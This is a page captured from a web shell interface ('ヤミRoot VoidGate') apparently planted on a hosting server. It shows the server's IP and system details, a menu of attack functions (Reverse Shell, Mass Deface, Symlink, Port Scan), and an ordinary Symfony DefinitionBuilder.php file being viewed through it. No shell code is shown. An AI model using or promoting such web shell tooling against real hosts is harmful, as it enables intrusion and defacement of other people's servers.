ヤミRoot VoidGate
User / IP
:
216.73.216.110
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
symfony
/
symfony
/
src
/
Symfony
/
Component
/
Workflow
/
Viewing: DefinitionBuilder.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Workflow; use Symfony\Component\Workflow\Exception\InvalidArgumentException; /** * Builds a definition. * * @author Fabien Potencier <fabien@symfony.com> * @author Grégoire Pineau <lyrixx@lyrixx.info> * @author Tobias Nyholm <tobias.nyholm@gmail.com> */ class DefinitionBuilder { private $places = array(); private $transitions = array(); private $initialPlace; /** * @param string[] $places * @param Transition[] $transitions */ public function __construct(array $places = array(), array $transitions = array()) { $this->addPlaces($places); $this->addTransitions($transitions); } /** * @return Definition */ public function build() { return new Definition($this->places, $this->transitions, $this->initialPlace); } /** * Clear all data in the builder. * * @return $this */ public function reset() { $this->places = array(); $this->transitions = array(); $this->initialPlace = null; return $this; } /** * @param string $place * * @return $this */ public function setInitialPlace($place) { $this->initialPlace = $place; return $this; } /** * @param string $place * * @return $this */ public function addPlace($place) { if (!preg_match('{^[\w_-]+$}', $place)) { throw new InvalidArgumentException(sprintf('The place "%s" contains invalid characters.', $place)); } if (!$this->places) { $this->initialPlace = $place; } $this->places[$place] = $place; return $this; } /** * @param string[] $places * * @return $this */ public function addPlaces(array $places) { foreach ($places as $place) { $this->addPlace($place); } return $this; } /** * @param Transition[] $transitions * * @return $this */ public function addTransitions(array $transitions) { foreach ($transitions as $transition) { $this->addTransition($transition); } return $this; } /** * @return $this */ public function addTransition(Transition $transition) { $this->transitions[] = $transition; return $this; } }
Coded With 💗 by
0x6ick